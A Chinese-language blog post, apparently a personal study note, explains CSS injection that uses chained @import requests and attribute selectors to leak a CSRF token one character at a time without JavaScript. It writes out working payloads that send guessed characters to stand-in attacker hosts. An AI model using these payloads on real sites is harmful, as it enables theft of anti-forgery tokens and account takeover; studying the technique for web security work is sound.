接著,我們來看看要如何只加載一次頁面,在不使用 js 的情況下,不斷動態載入新的 style :
在 css file 裡面使用 @import
,如以下範例:
@import url(https://your_attack_server.com/start?len=4)
透過 @import
很多個 url
,如以下範例:
@import url(https://your_attack_server.com/start?len=1)
@import url(https://your_attack_server.com/start?len=2)
@import url(https://your_attack_server.com/start?len=3)
@import url(https://your_attack_server.com/start?len=4)
以上的範例過程解說:
主要攻擊方式: @import
將從攻擊者接收一些 CSS script
,Browser 將載入它。
過程:
攻擊者將發送的 CSS script
的第一部分是下一個 @import
到攻擊者伺服器。
Notes: 有趣的是,攻擊者的伺服器還不會回應此 request
,因為我們想洩漏一些字符,然後使用有效負載響應此 @import 以洩漏下一個字符。
當 Browser 收到 response 的時候,就會先載入下面這一段 CSS:
範例:
input[name="csrf"][value^="a"] {
background: url(https://a.your_website.com/leak?q=a)
}
input[name="csrf"][value^="b"] {
background: url(https://a.your_website.com/leak?q=b)
}
//....
input[name="csrf"][value^="z"] {
background: url(https://b.your_website.com/leak?q=z)
}
在載入完拿到符合條件的元素後,會發 request 到後端,接著 server 此時才會回傳 https://your_attack_server.com/start?len=2 的 response,內容為拿到的元素 (以下範例假設拿到 a) +其他可能的元素(需要繼續猜測的部分)
範例:
input[name="csrf"][value^="aa"] {
background: url(https://a.your_website.com/leak?q=a)
}
input[name="csrf"][value^="ab"] {
background: url(https://a.your_website.com/leak?q=b)
}
//....
input[name="csrf"][value^="az"] {
background: url(https://b.your_website.com/leak?q=z)
}
接著就依照上述的方式循環到拿到完整的目標值。
不過,上述使用的方式都是一次拿一個,我們可以使用之前介紹的 "^"、"$" 等方式,一次偷兩個來增加效率 XD
Notes: 但需要注意使用的 attribute 需要是不同的 attribute,避免被覆蓋。
範例:
input[value^="0"]{
background: url(http://localhost:5001/leak?pre=0)
}
input[value$="1"]{
border-background: url(http://localhost:5001/leak?post=1)
}
這次的介紹差不多到這啦~ 下次將繼續介紹其他的 css injection 的其他手法 XD
css injection 真的是博大精深,好多範例可以看! 希望我能繼續堅持下去,之後想嘗試寫寫攻擊 script~
接下來的日子...持續學習 + 重訓,真是充實 XD
自律 gogo!
Hacktricks:
https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection
css injection:
https://blog.huli.tw/2022/09/29/css-injection-2/